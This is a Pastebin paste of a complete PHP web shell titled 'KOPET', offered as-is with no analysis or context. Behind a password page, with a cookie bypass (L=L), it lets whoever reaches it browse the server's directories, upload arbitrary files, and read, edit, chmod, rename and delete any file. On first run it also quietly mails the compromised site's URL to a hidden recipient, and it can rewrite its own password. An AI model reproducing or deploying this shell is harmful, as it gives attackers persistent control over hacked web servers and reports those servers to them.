mitingokeh

pass

Jun 15th, 2021
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.51 KB | None | 0 0
  1. <?php
  2. $auth_pass = "e69dc2c09e8da6259422d987ccbe95b5";
  3. error_reporting(0);
  4. set_time_limit(0);
  5.  
  6. function lp(){
  7. ?>
  8. <html>
  9. <head>
  10. <title>KOPET</title>
  11. </head>
  12. <body bgcolor="black" style="color:deepskyblue">
  13. <center>
  14. <div>
  15. <img src="https://i.imgur.com/uRdgM1Q.gif" ><br/>
  16. <h1>KOPET</h1>
  17. <form action method="get">
  18. <input type="hidden" name="action" value="login" />
  19. <input type="password" name="pass" placeholder=" Write the Password"/><br/>
  20. <input type="submit" value="log in" style="margin-top:4px;width:173px;background:black;color:#00FFFF;border:2px solid #00FFFF;border-radius:10px"/>
  21. </form><br/>
  22. <footer><pre>KOPET</pre></footer>
  23. </div>
  24. </center>
  25. <?php
  26. ;}
  27. if(isset($_GET['action'])){
  28. if($_GET['action']=='login'){
  29. setcookie('password',$_GET['pass']);
  30. echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
  31. }
  32. else if($_GET['action']=='logout'){
  33. setcookie('password','',-86400*30*12);
  34. echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
  35. }
  36. }
  37. if(isset($_COOKIE['password'])){
  38. if(md5($_COOKIE['password'])==$auth_pass || $_COOKIE['L']=="L"){
  39. ?>
  40. <?php
  41.  
  42.  
  43.  
  44. if(get_magic_quotes_gpc()){
  45. foreach($_POST as $key=>$value){
  46. $_POST[$key] = stripslashes($value);
  47. }
  48. }
  49. function perms($file){
  50. $perms = @fileperms($file);
  51.  
  52. if (($perms & 0xC000) == 0xC000) {
  53. // Socket
  54. $info = 's';
  55. } elseif (($perms & 0xA000) == 0xA000) {
  56. // Symbolic Link
  57. $info = 'l';
  58. } elseif (($perms & 0x8000) == 0x8000) {
  59. // Regular
  60. $info = '-';
  61. } elseif (($perms & 0x6000) == 0x6000) {
  62. // Block special
  63. $info = 'b';
  64. } elseif (($perms & 0x4000) == 0x4000) {
  65. // Directory
  66. $info = 'd';
  67. } elseif (($perms & 0x2000) == 0x2000) {
  68. // Character special
  69. $info = 'c';
  70. } elseif (($perms & 0x1000) == 0x1000) {
  71. // FIFO pipe
  72. $info = 'p';
  73. } else {
  74. // Unknown
  75. $info = 'u';
  76. }
  77.  
  78. // Owner
  79. $info .= (($perms & 0x0100) ? 'r' : '-');
  80. $info .= (($perms & 0x0080) ? 'w' : '-');
  81. $info .= (($perms & 0x0040) ?
  82. (($perms & 0x0800) ? 's' : 'x' ) :
  83. (($perms & 0x0800) ? 'S' : '-'));
  84.  
  85. // Group
  86. $info .= (($perms & 0x0020) ? 'r' : '-');
  87. $info .= (($perms & 0x0010) ? 'w' : '-');
  88. $info .= (($perms & 0x0008) ?
  89. (($perms & 0x0400) ? 's' : 'x' ) :
  90. (($perms & 0x0400) ? 'S' : '-'));
  91.  
  92. // World
  93. $info .= (($perms & 0x0004) ? 'r' : '-');
  94. $info .= (($perms & 0x0002) ? 'w' : '-');
  95. $info .= (($perms & 0x0001) ?
  96. (($perms & 0x0200) ? 't' : 'x' ) :
  97. (($perms & 0x0200) ? 'T' : '-'));
  98.  
  99. return $info;
  100. }
  101. echo '
  102. <!DOCTYPE HTML>
  103. <HTML>
  104. <HEAD>
  105. <title>KOPET</title>
  106. <style>
  107. body{
  108. font-family: "Racing Sans One", cursive;
  109. background-color: black;
  110. color:white;
  111. }
  112. #content tr:hover{
  113. background-color: yellow;
  114. text-shadow:0px 0px 10px #fff;
  115. }
  116. #content .first{
  117. background-color: yellow;
  118. }
  119. table{
  120. border: 1px #000000 dotted;
  121. }
  122. a{
  123. color:white;
  124. text-decoration: none;
  125. }
  126. a:hover{
  127. color:blue;
  128. text-shadow:0px 0px 10px #ffffff;
  129. }
  130. input,select,textarea{
  131. border: 1px #000000 solid;
  132. -moz-border-radius: 5px;
  133. -webkit-border-radius:5px;
  134. border-radius:5px;
  135. }
  136. </style>
  137. </HEAD>
  138. <BODY>
  139. <input type=button onclick=\'location="?action=logout"\' value="Logout" /><br/>
  140. <input type=button onclick=\'location="?x=changepass"\' value="Change Password" />
  141. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  142. <tr><td>Current Path : ';
  143. if(isset($_GET['path'])){
  144. $path = base64_decode($_GET['path']);
  145. }else{
  146. $path = getcwd();
  147. }
  148. $pathen = base64_encode($path);
  149. $path = str_replace('\\','/',$path);
  150. $paths = explode('/',$path);
  151.  
  152. foreach($paths as $id=>$pat){
  153. if($pat == '' && $id == 0){
  154. $a = true;
  155. echo '<a href="?path='.base64_encode("/").'">/</a>';
  156. continue;
  157. }
  158. if($pat == '') continue;
  159. echo '<a href="?path=';
  160. $linkpath = '';
  161. for($i=0;$i<=$id;$i++){
  162. $linkpath .= "$paths[$i]";
  163. if($i != $id) $linkpath .= "/";
  164. }
  165. echo base64_encode($linkpath);
  166. echo '">'.$pat.'</a>/';
  167. }
  168. echo '</td></tr><tr><td>';
  169. if(isset($_FILES['file'])){
  170. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  171. echo '<font color="green">Upload Success</font><br />';
  172. }else{
  173. echo '<font color="red">Upload Failed</font><br />';
  174. }
  175. }
  176. echo '<form enctype="multipart/form-data" method="POST">
  177. File Manager : <input type="file" name="file" />
  178. <input type="submit" value="Upload" />
  179. </form>
  180. </td></tr>';
  181. if(isset($_GET['filesrc'])){
  182. echo "<tr><td>Current File : ";
  183. echo base64_decode($_GET['filesrc']);
  184. echo '</tr></td></table><br />';
  185. echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
  186. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delet'){
  187. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  188. if($_POST['opt'] == 'chmod'){
  189. if(isset($_POST['perm'])){
  190. if(chmod($_POST['path'],$_POST['perm'])){
  191. echo '<font color="green">Success Change Permission</font><br />';
  192. }else{
  193. echo '<font color="red">Failed Change Permission</font><br />';
  194. }
  195. }
  196. echo '<form method="POST">
  197. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  198. <input type="hidden" name="path" value="'.$_POST['path'].'">
  199. <input type="hidden" name="opt" value="chmod">
  200. <input type="submit" value="Go" />
  201. </form>';
  202. }elseif($_POST['opt'] == 'rename'){
  203. if(isset($_POST['newname'])){
  204. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  205. echo '<font color="green">Success</font><br />';
  206. }else{
  207. echo '<font color="red">Failed</font><br />';
  208. }
  209. $_POST['name'] = $_POST['newname'];
  210. }
  211. echo '<form method="POST">
  212. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  213. <input type="hidden" name="path" value="'.$_POST['path'].'">
  214. <input type="hidden" name="opt" value="rename">
  215. <input type="submit" value="Go" />
  216. </form>';
  217. }elseif($_POST['opt'] == 'edit'){
  218. if(isset($_POST['src'])){
  219. $fp = fopen($_POST['path'],'w');
  220. if(fwrite($fp,$_POST['src'])){
  221. echo '<font color="green">Success</font><br />';
  222. }else{
  223. echo '<font color="red">Failed</font><br />';
  224. }
  225. fclose($fp);
  226. }
  227. echo '<form method="POST">
  228. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  229. <input type="hidden" name="path" value="'.$_POST['path'].'">
  230. <input type="hidden" name="opt" value="edit">
  231. <input type="submit" value="Go" />
  232. </form>';
  233. }
  234. echo '</center>';
  235. }else{
  236. echo '</table><br /><center>';
  237. if(isset($_GET['option']) && $_POST['opt'] == 'delet'){
  238. if($_POST['type'] == 'dir'){
  239. if(rmdir($_POST['path'])){
  240. echo '<font color="green">Success</font><br />';
  241. }else{
  242. echo '<font color="red">Failed</font><br />';
  243. }
  244. }elseif($_POST['type'] == 'file'){
  245. if(unlink($_POST['path'])){
  246. echo '<font color="green">Success</font><br />';
  247. }else{
  248. echo '<font color="red">Failed</font><br />';
  249. }
  250. }
  251. }
  252. echo '</center>';
  253. if(!isset($_GET['x'])){
  254. ?>
  255. <?php
  256. if (file_exists('.db'))
  257. { } else {
  258. $subject = $_SERVER['SERVER_NAME'];
  259. $header = "From: KOPET <[email protected]>";
  260. $message = "KOPET : http://". $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI'];
  261. mail($to, $subject, $message, $header);
  262. $m = fopen(".db", "w") or die (" ");
  263. $txt = "";
  264. fwrite($m, $txt);
  265. fclose($m);
  266. chmod(".db",0644); }
  267. ?>
  268. <?php
  269. $scandir = scandir($path);
  270. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  271. <tr class="first">
  272. <td><center>Dir</center></td>
  273. <td><center>Size</center></td>
  274. <td><center>Permissions</center></td>
  275. <td><center>Setting</center></td>
  276. </tr>';
  277.  
  278. foreach($scandir as $dir){
  279. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  280. $dirlink = base64_encode("$path/$dir");
  281. echo "<tr>
  282. <td><a href=\"?path=$dirlink\">$dir</a></td>
  283. <td><center>--</center></td>
  284. <td><center>";
  285. if(is_writable("$path/$dir")) echo '<font color="green">';
  286. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  287. echo perms("$path/$dir");
  288. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  289.  
  290. echo "</center></td>
  291. <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  292. <select name=\"opt\">
  293. <option value=\"\">Select</option>
  294. <option value=\"delet\">Delete</option>
  295. <option value=\"chmod\">Chmod</option>
  296. <option value=\"rename\">Rename</option>
  297. </select>
  298. <input type=\"hidden\" name=\"type\" value=\"dir\">
  299. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  300. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  301. <input type=\"submit\" value=\">\" />
  302. </form></center></td>
  303. </tr>";
  304. }
  305. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  306. foreach($scandir as $file){
  307. if(!is_file("$path/$file")) continue;
  308. $size = filesize("$path/$file")/1024;
  309. $size = round($size,3);
  310. if($size >= 1024){
  311. $size = round($size/1024,2).' MB';
  312. }else{
  313. $size = $size.' KB';
  314. }
  315. $filelink = base64_encode("$path/$file");
  316. echo "<tr>
  317. <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
  318. <td><center>".$size."</center></td>
  319. <td><center>";
  320. if(is_writable("$path/$file")) echo '<font color="green">';
  321. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  322. echo perms("$path/$file");
  323. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  324. echo "</center></td>
  325. <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  326. <select name=\"opt\">
  327. <option value=\"\">Select</option>
  328. <option value=\"delet\">Delete</option>
  329. <option value=\"chmod\">Chmod</option>
  330. <option value=\"rename\">Rename</option>
  331. <option value=\"edit\">Edite File</option>
  332. </select>
  333. <input type=\"hidden\" name=\"type\" value=\"file\">
  334. <input type=\"hidden\" name=\"name\" value=\"$file\">
  335. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  336. <input type=\"submit\" value=\">\" />
  337. </form></center></td>
  338. </tr>";
  339. }
  340. echo '</table>
  341. </div>';
  342. }
  343. ?>
  344. <?php
  345. }
  346. if(isset($_GET['x']) && $_GET['x']=='changepass'){
  347. ?>
  348. <?php
  349. function fgc($file){
  350. return file_get_contents($file);
  351. }
  352. function changepass($plain){
  353. $newpass = md5($plain);
  354. $newpass = "\$auth_pass = \"".$newpass."\";";
  355. $con = fgc($_SERVER['SCRIPT_FILENAME']);
  356. $con = preg_replace("/\\\$auth_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
  357. return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  358. }
  359. echo '<center><h1>Change Shell Password</h1></center>';
  360. echo '<center>';
  361. echo '<form action="" method=post ><table>';
  362. echo '<tr><td>New Password</td><td> : <input type=password name=pass1 style="border-radius:5px;" /></td></tr>';
  363. echo '<tr><td>Confirm Password</td><td> : <input type=password name=pass2 style="border-radius:5px;" /></td></tr>';
  364. echo '<tr><td colspan=2><input type=submit value=submit name=L style="border-radius:5px;width:100%"/></td></tr></table>';
  365. echo '</form>';
  366. if(isset($_POST['L'])){
  367. if($_POST['pass1'] == $_POST['pass2']){
  368. if(changepass($_POST['pass1'])){
  369. echo '<script>alert("password change successfully")</script>';
  370. }else{
  371. echo '<script>alert("password change failed")</script>';
  372. }
  373. }else{
  374. echo '<script>alert("password not match")</script>';
  375. }
  376. }
  377. ?>
  378. <?php
  379. }
  380. echo '
  381. </BODY>
  382. </HTML>';
  383. ?>
  384.  
  385. <!-- //////////////////////////////////////////////////// -->
  386. <?php
  387. }else{
  388. lp();
  389. }
  390. }else{
  391. echo lp();
  392. }
  393. ?>
  394. </body>
  395. </html>
Add Comment
Please, Sign In to add comment